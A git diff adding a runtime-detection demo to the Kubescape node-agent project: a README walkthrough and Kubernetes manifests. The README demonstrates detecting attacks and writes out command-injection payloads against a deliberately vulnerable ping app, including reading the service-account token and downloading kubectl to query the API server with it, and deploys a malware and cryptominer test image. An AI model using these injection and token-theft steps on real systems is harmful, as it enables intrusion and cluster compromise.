diff --git a/.github/workflows/component-tests.yaml b/.github/workflows/component-tests.yaml index 0eb4a1ef65..0c9b9cd1af 100644 --- a/.github/workflows/component-tests.yaml +++ b/.github/workflows/component-tests.yaml @@ -48,6 +48,8 @@ jobs: Test_06_KillProcessInTheMiddle, Test_07_RuleBindingApplyTest, Test_08_ApplicationProfilePatching, + # Test_10_DemoTest + # Test_11_DuplicationTest ] steps: - name: Checkout code diff --git a/demo/README.md b/demo/README.md new file mode 100644 index 0000000000..5bf8f1ddcb --- /dev/null +++ b/demo/README.md @@ -0,0 +1,186 @@ +# Node Agent Runtime Detection & Response Demo +This is a walkthrough of Node Agent Runtime Detection & Response capability, in this demo we will do the following: +1. Install Node Agent. +2. Deploy a sample web application and attack it. +3. Deploy fileless malware. +4. Deploy a container with malicious image that contains malwares. +5. See how Node Agent detects the attacks. + +With this demo you will be able to see how Node Agent works and how it can be used to detect and prevent attacks. +To learn more about Node Agent, see [here](https://kubescape.io/docs/). + +## Table of Contents + +- [Installation](#installation) +- [Deploy Web Application](#deploy-web-application) +- [Attack Web Application](#attack-web-application) +- [Attack Fileless Malware](#attack-fileless-malware) +- [Attack Malicious Image](#attack-malicious-image) +- [Conclusion](#conclusion) + + +## Installation +To install Node Agent, you need to have a Kubernetes cluster up and running. In case you want to test it on your local machine you can use [Minikube](https://kubernetes.io/docs/tasks/tools/install-minikube/) or [Kind](https://kind.sigs.k8s.io/docs/user/quick-start/). + +After you have a Kubernetes cluster up and running, you can install Node Agent by running the following commands: + +```bash +git clone https://github.com/kubescape/node-agent.git && cd node-agent +# Assuming AlertManager is running in service "alertmanager-operated" in namespace "monitoring" +helm repo add kubescape https://kubescape.github.io/helm-charts/ ; helm repo update ; helm upgrade --install kubescape kubescape/kubescape-operator -n kubescape --create-namespace --set clusterName=`kubectl config current-context` --set nodeAgent.config.alertManagerExporterUrls=alertmanager-operated.monitoring.svc.cluster.local:9093 --set nodeAgent.config.maxLearningPeriod=15m --set nodeAgent.config.learningPeriod=2m --set nodeAgent.config.updatePeriod=1m --set capabilities.runtimeDetection=enable --set alertCRD.installDefault=true --set alertCRD.scopeClustered=true +``` + +You should be getting alerts after the learning period ends. The learning period is the time Node Agent takes to learn the normal behavior of the cluster, during this period Node Agent will raise alerts only for malicious activities. After the learning period, Node Agent will raise alerts for both malicious and abnormal activities. + +The learning period is configurable, you can change the values of `maxLearningPeriod`, `learningPeriod`, and `updatePeriod` in the helm chart. See [here](https://kubescape.io/docs/operator/relevancy/#enabling-relevancy) for more information. + +Try `kubectl exec` on one of the Pods after the learning period to test out anomaly detection! + +### Getting alerts + +One of the ways to get alert from Node Agent is to connect it an AlertManager. If you don't have AlertManager running, you can install it by running the following commands: +```bash +helm repo add prometheus-community https://prometheus-community.github.io/helm-charts +helm repo update +helm install alertmanager prometheus-community/kube-prometheus-stack -n monitoring --create-namespace +``` + +By default the Node Agent is exporting alerts to stdout, you can see the alerts by running the following command: +```bash +kubectl logs -n kubescape -l app=node-agent -f +``` + +In the above helm chart installation, we have connected Node Agent to AlertManager, you can see the alerts in AlertManager UI by going to `http://:9093`. + +**Once you have Node Agent installed, let's deploy a sample web application and attack it.** + +## Deploy Web Application + +To deploy a sample web application, run the following commands: + +```bash +chmod +x demo/general_attack/webapp/setup.sh +./demo/general_attack/webapp/setup.sh +``` + +This will deploy a sample web application and a service to expose it. +You can access the web application by using a web browser and going to `http://:8080`. +You should see the following page: +![Web Application](assets/webapp.png) + +The application is a "Ping service", it allows the user to ping a host, and it will return the output of the ping command. +Let's try to ping `1.1.1.1` and see the output. + +![Ping](assets/ping.png) + +Once you have the web application up and running, let's attack it and see how Node Agent detects the attack. + +## Attack Web Application + +Our web application is deliberatly made vulnerable to a [command injection](https://owasp.org/www-community/attacks/Command_Injection) attack. + +Behind the scenes, the application is taking the IP from the form as a string and concatenates it to a command. Since there is no proper input sanitization we can use this to run arbitrary commands on the web application container and get the output. + +Let's try to execute the `ls` command on the web application container. + +```bash +1.1.1.1;ls +``` + +Great! We can see the output of the `ls` command, but we can also see that Node Agent detected the attack and sent an alert to AlertManager. + +![ls](assets/ls.png) + +Navigate to AlertManager UI by going to `http://:9093` and you should see the following alert: +(You can also see the alert in the terminal where you ran `helm install`) +![AlertManager](assets/alertmanager.png) + +We can see that Node Agent raised two alerts, one for the unexpected command execution and one for the unexpected file activity. +We can see the details of the alerts such as the command that was executed and the file that was accessed and on which workload. + +Now, let's try to run a more malicious command, let's try to get the service account token. + +```bash +1.1.1.1;cat /run/secrets/kubernetes.io/serviceaccount/token +``` + +We can see that Node Agent detected the attack and sent an alert to AlertManager. +![service accout token](assets/service-account-token.png) +Node Agent detected the attack because it has a rule that identifies access to the service account token. + +Next, let's try to download kubectl into the container and run it to get the pods in the cluster. + +Execute the following commands one by one: +```bash +# Get the architecture of the node +1.1.1.1;uname -m | sed 's/x86_64/amd64/g' | sed 's/aarch64/arm64/g' + +# Download kubectl +1.1.1.1;curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux//kubectl" + +# Make kubectl executable +1.1.1.1;chmod +x kubectl + +# Get the pods in the cluster +1.1.1.1;./kubectl --server https://kubernetes.default --insecure-skip-tls-verify --token $(cat /run/secrets/kubernetes.io/serviceaccount/token) get pods +``` + +You should see the following output: +![pods](assets/pods.png) + +We can see that Node Agent detected the attack and sent an alert to AlertManager. +![kubectl](assets/kubectl.png) + +Node Agent detected the attack because it has a rule that identifies kubernetes API server access from a container. + +## Attack Fileless Malware +Let's deploy a fileless malware and see how Node Agent detects it. + +To deploy the fileless malware, run the following commands: +This will deploy google's [demo-app](https://github.com/GoogleCloudPlatform/microservices-demo) +```bash +kubectl apply -f demo/fileless_exec/kubernetes-manifest.yaml +``` +We have replaced one of the original images with a malicious image that runs a fileless malware. +Using the [ezuri crypter](https://github.com/guitmz/ezuri), we have encrypted the malware and embedded it in the image. (Don't worry, it doesn't run a real malicious malware 😉). + +Let's see what has popped up in AlertManager. +![fileless malware](assets/fileless-malware.png) + +We can see that Node Agent detected that an exec syscall was made from `/proc/self/fd/3` which is the file descriptor of the malware that resides in the container's memory. +This is a fileless malware, so we don't have any files to scan, but Node Agent still detected it. + +## Attack Malicious Image +Let's deploy a container with malicious image that contains malwares such as [cryptominer](https://www.crowdstrike.com/blog/what-is-cryptomining/) and [webshell](https://owasp.org/www-community/attacks/Web_Shell). + +We are going to be using [ruzickap malwares container](https://github.com/ruzickap/malware-cryptominer-container) to deploy a container with malwares. +To deploy the container, run the following command: +```bash +kubectl run malware-cryptominer --image=quay.io/petr_ruzicka/malware-cryptominer-container:2.0.2 +``` +Or, alternatively, you can build the image yourself by running the following commands: +```bash +docker build -t malware-cryptominer -f malwares_image/Containerfile . +docker tag malware-cryptominer quay.io/petr_ruzicka/malware-cryptominer-container:2.0.2 +# If you are using minikube +minikube image load quay.io/petr_ruzicka/malware-cryptominer-container:2.0.2 +# If you are using kind +kind load docker-image quay.io/petr_ruzicka/malware-cryptominer-container:2.0.2 +``` + +Let's see what has popped up in AlertManager. +![malwares](assets/malwares.png) +We can see that Node Agent detected that the container is running a malicious image that contains malwares. +It also supplies the path to the malwares in the node's filesystem as well as the signatures of the malwares. +Node Agent uses [ClamAV](https://www.clamav.net/) to scan the images for malwares. +ClamAV is an open source antivirus engine for detecting trojans, viruses, malware & other malicious threats, it supports a wide range of signature languages including YARA and bytecode signatures. + +Please note that Node Agent doesn't scan the images by default, you need to enable it by setting `capabilities.malwareDetection=enable` in the helm chart. See [here](https://kubescape.io/docs/) for more information. + + +## Conclusion +In this demo we saw how Node Agent can be used to detect and prevent attacks in Kubernetes. +We covered a few attacks, but Node Agent can detect many more attacks, see [here](https://kubescape.io/docs/) for the full list of supported rules and detection methods. +To learn more about Node Agent, see [here](../README.md). + +If you have any questions, feel free to open an issue or contact us via [email](mailto:support@armosec.io) or [slack](https://cloud-native.slack.com/archives/C04EY3ZF9GE). diff --git a/demo/assets/alertmanager.png b/demo/assets/alertmanager.png new file mode 100644 index 0000000000..d030612409 Binary files /dev/null and b/demo/assets/alertmanager.png differ diff --git a/demo/assets/fileless-malware.png b/demo/assets/fileless-malware.png new file mode 100644 index 0000000000..755202b0be Binary files /dev/null and b/demo/assets/fileless-malware.png differ diff --git a/demo/assets/kubectl.png b/demo/assets/kubectl.png new file mode 100644 index 0000000000..2969f5b366 Binary files /dev/null and b/demo/assets/kubectl.png differ diff --git a/demo/assets/ls.png b/demo/assets/ls.png new file mode 100644 index 0000000000..aa1a191c0a Binary files /dev/null and b/demo/assets/ls.png differ diff --git a/demo/assets/malwares.png b/demo/assets/malwares.png new file mode 100644 index 0000000000..fdb21c4944 Binary files /dev/null and b/demo/assets/malwares.png differ diff --git a/demo/assets/ping.png b/demo/assets/ping.png new file mode 100644 index 0000000000..b78bda9e98 Binary files /dev/null and b/demo/assets/ping.png differ diff --git a/demo/assets/pods.png b/demo/assets/pods.png new file mode 100644 index 0000000000..bb0ee39bf3 Binary files /dev/null and b/demo/assets/pods.png differ diff --git a/demo/assets/service-account-token.png b/demo/assets/service-account-token.png new file mode 100644 index 0000000000..47e8e8da40 Binary files /dev/null and b/demo/assets/service-account-token.png differ diff --git a/demo/assets/webapp.png b/demo/assets/webapp.png new file mode 100644 index 0000000000..3847c03ce0 Binary files /dev/null and b/demo/assets/webapp.png differ diff --git a/demo/fileless_exec/kubernetes-manifest.yaml b/demo/fileless_exec/kubernetes-manifest.yaml new file mode 100644 index 0000000000..5f900b89af --- /dev/null +++ b/demo/fileless_exec/kubernetes-manifest.yaml @@ -0,0 +1,860 @@ +# Copyright 2018 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# ---------------------------------------------------------- +# WARNING: This file is autogenerated. Do not manually edit. +# ---------------------------------------------------------- + +# [START gke_release_kubernetes_manifests_microservices_demo] +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: emailservice +spec: + selector: + matchLabels: + app: emailservice + template: + metadata: + labels: + app: emailservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/emailservice:v0.8.1 + ports: + - containerPort: 8080 + env: + - name: PORT + value: "8080" + - name: DISABLE_PROFILER + value: "1" + readinessProbe: + periodSeconds: 5 + grpc: + port: 8080 + livenessProbe: + periodSeconds: 5 + grpc: + port: 8080 + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: emailservice +spec: + type: ClusterIP + selector: + app: emailservice + ports: + - name: grpc + port: 5000 + targetPort: 8080 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: checkoutservice +spec: + selector: + matchLabels: + app: checkoutservice + template: + metadata: + labels: + app: checkoutservice + spec: + serviceAccountName: default + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/checkoutservice:v0.8.1 + ports: + - containerPort: 5050 + readinessProbe: + grpc: + port: 5050 + livenessProbe: + grpc: + port: 5050 + env: + - name: PORT + value: "5050" + - name: PRODUCT_CATALOG_SERVICE_ADDR + value: "productcatalogservice:3550" + - name: SHIPPING_SERVICE_ADDR + value: "shippingservice:50051" + - name: PAYMENT_SERVICE_ADDR + value: "paymentservice:50051" + - name: EMAIL_SERVICE_ADDR + value: "emailservice:5000" + - name: CURRENCY_SERVICE_ADDR + value: "currencyservice:7000" + - name: CART_SERVICE_ADDR + value: "cartservice:7070" + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: checkoutservice +spec: + type: ClusterIP + selector: + app: checkoutservice + ports: + - name: grpc + port: 5050 + targetPort: 5050 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: recommendationservice +spec: + selector: + matchLabels: + app: recommendationservice + template: + metadata: + labels: + app: recommendationservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/recommendationservice:v0.8.1 + ports: + - containerPort: 8080 + readinessProbe: + periodSeconds: 5 + grpc: + port: 8080 + livenessProbe: + periodSeconds: 5 + grpc: + port: 8080 + env: + - name: PORT + value: "8080" + - name: PRODUCT_CATALOG_SERVICE_ADDR + value: "productcatalogservice:3550" + - name: DISABLE_PROFILER + value: "1" + resources: + requests: + cpu: 100m + memory: 220Mi + limits: + cpu: 200m + memory: 450Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: recommendationservice +spec: + type: ClusterIP + selector: + app: recommendationservice + ports: + - name: grpc + port: 8080 + targetPort: 8080 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: frontend +spec: + selector: + matchLabels: + app: frontend + template: + metadata: + labels: + app: frontend + annotations: + sidecar.istio.io/rewriteAppHTTPProbers: "true" + spec: + serviceAccountName: default + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/frontend:v0.8.1 + ports: + - containerPort: 8080 + readinessProbe: + initialDelaySeconds: 10 + httpGet: + path: "/_healthz" + port: 8080 + httpHeaders: + - name: "Cookie" + value: "shop_session-id=x-readiness-probe" + livenessProbe: + initialDelaySeconds: 10 + httpGet: + path: "/_healthz" + port: 8080 + httpHeaders: + - name: "Cookie" + value: "shop_session-id=x-liveness-probe" + env: + - name: PORT + value: "8080" + - name: PRODUCT_CATALOG_SERVICE_ADDR + value: "productcatalogservice:3550" + - name: CURRENCY_SERVICE_ADDR + value: "currencyservice:7000" + - name: CART_SERVICE_ADDR + value: "cartservice:7070" + - name: RECOMMENDATION_SERVICE_ADDR + value: "recommendationservice:8080" + - name: SHIPPING_SERVICE_ADDR + value: "shippingservice:50051" + - name: CHECKOUT_SERVICE_ADDR + value: "checkoutservice:5050" + - name: AD_SERVICE_ADDR + value: "adservice:9555" + # # ENV_PLATFORM: One of: local, gcp, aws, azure, onprem, alibaba + # # When not set, defaults to "local" unless running in GKE, otherwies auto-sets to gcp + # - name: ENV_PLATFORM + # value: "aws" + - name: ENABLE_PROFILER + value: "0" + # - name: CYMBAL_BRANDING + # value: "true" + # - name: FRONTEND_MESSAGE + # value: "Replace this with a message you want to display on all pages." + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: frontend +spec: + type: ClusterIP + selector: + app: frontend + ports: + - name: http + port: 80 + targetPort: 8080 +--- +apiVersion: v1 +kind: Service +metadata: + name: frontend-external +spec: + type: LoadBalancer + selector: + app: frontend + ports: + - name: http + port: 80 + targetPort: 8080 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: paymentservice +spec: + selector: + matchLabels: + app: paymentservice + template: + metadata: + labels: + app: paymentservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/paymentservice:v0.8.1 + ports: + - containerPort: 50051 + env: + - name: PORT + value: "50051" + - name: DISABLE_PROFILER + value: "1" + readinessProbe: + grpc: + port: 50051 + livenessProbe: + grpc: + port: 50051 + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: paymentservice +spec: + type: ClusterIP + selector: + app: paymentservice + ports: + - name: grpc + port: 50051 + targetPort: 50051 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: productcatalogservice +spec: + selector: + matchLabels: + app: productcatalogservice + template: + metadata: + labels: + app: productcatalogservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/productcatalogservice:v0.8.1 + ports: + - containerPort: 3550 + env: + - name: PORT + value: "3550" + - name: DISABLE_PROFILER + value: "1" + readinessProbe: + grpc: + port: 3550 + livenessProbe: + grpc: + port: 3550 + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: productcatalogservice +spec: + type: ClusterIP + selector: + app: productcatalogservice + ports: + - name: grpc + port: 3550 + targetPort: 3550 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: cartservice +spec: + selector: + matchLabels: + app: cartservice + template: + metadata: + labels: + app: cartservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/cartservice:v0.8.1 + ports: + - containerPort: 7070 + env: + - name: REDIS_ADDR + value: "redis-cart:6379" + resources: + requests: + cpu: 200m + memory: 64Mi + limits: + cpu: 300m + memory: 128Mi + readinessProbe: + initialDelaySeconds: 15 + grpc: + port: 7070 + livenessProbe: + initialDelaySeconds: 15 + periodSeconds: 10 + grpc: + port: 7070 +--- +apiVersion: v1 +kind: Service +metadata: + name: cartservice +spec: + type: ClusterIP + selector: + app: cartservice + ports: + - name: grpc + port: 7070 + targetPort: 7070 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: loadgenerator +spec: + selector: + matchLabels: + app: loadgenerator + replicas: 1 + template: + metadata: + labels: + app: loadgenerator + annotations: + sidecar.istio.io/rewriteAppHTTPProbers: "true" + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + restartPolicy: Always + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + initContainers: + - command: + - /bin/sh + - -exc + - | + echo "Init container pinging frontend: ${FRONTEND_ADDR}..." + STATUSCODE=$(wget --server-response http://${FRONTEND_ADDR} 2>&1 | awk '/^ HTTP/{print $2}') + if test $STATUSCODE -ne 200; then + echo "Error: Could not reach frontend - Status code: ${STATUSCODE}" + exit 1 + fi + name: frontend-check + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: busybox:latest + env: + - name: FRONTEND_ADDR + value: "frontend:80" + containers: + - name: main + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/loadgenerator:v0.8.1 + env: + - name: FRONTEND_ADDR + value: "frontend:80" + - name: USERS + value: "10" + resources: + requests: + cpu: 300m + memory: 256Mi + limits: + cpu: 500m + memory: 512Mi +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: currencyservice +spec: + selector: + matchLabels: + app: currencyservice + template: + metadata: + labels: + app: currencyservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/currencyservice:v0.8.1 + ports: + - name: grpc + containerPort: 7000 + env: + - name: PORT + value: "7000" + - name: DISABLE_PROFILER + value: "1" + readinessProbe: + grpc: + port: 7000 + livenessProbe: + grpc: + port: 7000 + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: currencyservice +spec: + type: ClusterIP + selector: + app: currencyservice + ports: + - name: grpc + port: 7000 + targetPort: 7000 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: shippingservice +spec: + selector: + matchLabels: + app: shippingservice + template: + metadata: + labels: + app: shippingservice + spec: + serviceAccountName: default + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: quay.io/armosec/demo-shippingservice:v0.2.3 + ports: + - containerPort: 50051 + env: + - name: PORT + value: "50051" + - name: DISABLE_PROFILER + value: "1" + readinessProbe: + periodSeconds: 5 + grpc: + port: 50051 + livenessProbe: + grpc: + port: 50051 + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: shippingservice +spec: + type: ClusterIP + selector: + app: shippingservice + ports: + - name: grpc + port: 50051 + targetPort: 50051 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: redis-cart +spec: + selector: + matchLabels: + app: redis-cart + template: + metadata: + labels: + app: redis-cart + spec: + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: redis + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: redis:alpine + ports: + - containerPort: 6379 + readinessProbe: + periodSeconds: 5 + tcpSocket: + port: 6379 + livenessProbe: + periodSeconds: 5 + tcpSocket: + port: 6379 + volumeMounts: + - mountPath: /data + name: redis-data + resources: + limits: + memory: 256Mi + cpu: 125m + requests: + cpu: 70m + memory: 200Mi + volumes: + - name: redis-data + emptyDir: {} +--- +apiVersion: v1 +kind: Service +metadata: + name: redis-cart +spec: + type: ClusterIP + selector: + app: redis-cart + ports: + - name: tcp-redis + port: 6379 + targetPort: 6379 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: adservice +spec: + selector: + matchLabels: + app: adservice + template: + metadata: + labels: + app: adservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/adservice:v0.8.1 + ports: + - containerPort: 9555 + env: + - name: PORT + value: "9555" + resources: + requests: + cpu: 200m + memory: 180Mi + limits: + cpu: 300m + memory: 300Mi + readinessProbe: + initialDelaySeconds: 20 + periodSeconds: 15 + grpc: + port: 9555 + livenessProbe: + initialDelaySeconds: 20 + periodSeconds: 15 + grpc: + port: 9555 +--- +apiVersion: v1 +kind: Service +metadata: + name: adservice +spec: + type: ClusterIP + selector: + app: adservice + ports: + - name: grpc + port: 9555 + targetPort: 9555 +# [END gke_release_kubernetes_manifests_microservices_demo] \ No newline at end of file diff --git a/demo/fileless_exec/kubernetes-manifests.yaml b/demo/fileless_exec/kubernetes-manifests.yaml new file mode 100644 index 0000000000..aea634cbdf --- /dev/null +++ b/demo/fileless_exec/kubernetes-manifests.yaml @@ -0,0 +1,860 @@ +# Copyright 2018 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# ---------------------------------------------------------- +# WARNING: This file is autogenerated. Do not manually edit. +# ---------------------------------------------------------- + +# [START gke_release_kubernetes_manifests_microservices_demo] +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: emailservice +spec: + selector: + matchLabels: + app: emailservice + template: + metadata: + labels: + app: emailservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/emailservice:v0.8.1 + ports: + - containerPort: 8080 + env: + - name: PORT + value: "8080" + - name: DISABLE_PROFILER + value: "1" + readinessProbe: + periodSeconds: 5 + grpc: + port: 8080 + livenessProbe: + periodSeconds: 5 + grpc: + port: 8080 + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: emailservice +spec: + type: ClusterIP + selector: + app: emailservice + ports: + - name: grpc + port: 5000 + targetPort: 8080 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: checkoutservice +spec: + selector: + matchLabels: + app: checkoutservice + template: + metadata: + labels: + app: checkoutservice + spec: + serviceAccountName: default + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/checkoutservice:v0.8.1 + ports: + - containerPort: 5050 + readinessProbe: + grpc: + port: 5050 + livenessProbe: + grpc: + port: 5050 + env: + - name: PORT + value: "5050" + - name: PRODUCT_CATALOG_SERVICE_ADDR + value: "productcatalogservice:3550" + - name: SHIPPING_SERVICE_ADDR + value: "shippingservice:50051" + - name: PAYMENT_SERVICE_ADDR + value: "paymentservice:50051" + - name: EMAIL_SERVICE_ADDR + value: "emailservice:5000" + - name: CURRENCY_SERVICE_ADDR + value: "currencyservice:7000" + - name: CART_SERVICE_ADDR + value: "cartservice:7070" + resources: + requests: + cpu: 100m + memory: 64Mi + limits: + cpu: 200m + memory: 128Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: checkoutservice +spec: + type: ClusterIP + selector: + app: checkoutservice + ports: + - name: grpc + port: 5050 + targetPort: 5050 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: recommendationservice +spec: + selector: + matchLabels: + app: recommendationservice + template: + metadata: + labels: + app: recommendationservice + spec: + serviceAccountName: default + terminationGracePeriodSeconds: 5 + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/recommendationservice:v0.8.1 + ports: + - containerPort: 8080 + readinessProbe: + periodSeconds: 5 + grpc: + port: 8080 + livenessProbe: + periodSeconds: 5 + grpc: + port: 8080 + env: + - name: PORT + value: "8080" + - name: PRODUCT_CATALOG_SERVICE_ADDR + value: "productcatalogservice:3550" + - name: DISABLE_PROFILER + value: "1" + resources: + requests: + cpu: 100m + memory: 220Mi + limits: + cpu: 200m + memory: 450Mi +--- +apiVersion: v1 +kind: Service +metadata: + name: recommendationservice +spec: + type: ClusterIP + selector: + app: recommendationservice + ports: + - name: grpc + port: 8080 + targetPort: 8080 +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: frontend +spec: + selector: + matchLabels: + app: frontend + template: + metadata: + labels: + app: frontend + annotations: + sidecar.istio.io/rewriteAppHTTPProbers: "true" + spec: + serviceAccountName: default + securityContext: + fsGroup: 1000 + runAsGroup: 1000 + runAsNonRoot: true + runAsUser: 1000 + containers: + - name: server + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + privileged: false + readOnlyRootFilesystem: true + image: gcr.io/google-samples/microservices-demo/frontend:v0.8.1 + ports: + - containerPort: 8080 + readinessProbe: + initialDelaySeconds: 10 + httpGet: + path: "/_healthz" + port: 8080 + httpHeaders: + - name: "Cookie" + value: "shop_session-id=x-readiness-probe" + livenessProbe: + initialDelaySeconds: 10 + httpGet: + path: "/_healthz" + port: 8080 + httpHeaders: + - name: "Cookie" + value: "shop_session-id=x-liveness-probe" + env: + - name: PORT + value: "8080" + - name: PRODUCT_CATALOG_SERVICE_ADDR + value: "productcatalogservice:3550" + - name: CURRENCY_SERVICE_ADDR + value: "currencyservice:7000" + - name: CART_SERVICE_ADDR + value: "cartservice:7070" + - name: RECOMMENDATION_SERVICE_ADDR + value: "recommendationservice:8080" + - name: SHIPPING_SERVICE_ADDR + value: "shippingservice:50051" + - name: CHECKOUT_SERVICE_ADDR + value: "checkoutservice:5050" + - name: AD_SERVICE_ADDR + value: "adservice:9555" + # # ENV_PLATFORM: One of: local, gcp, aws, azure, onprem, alibaba + # # 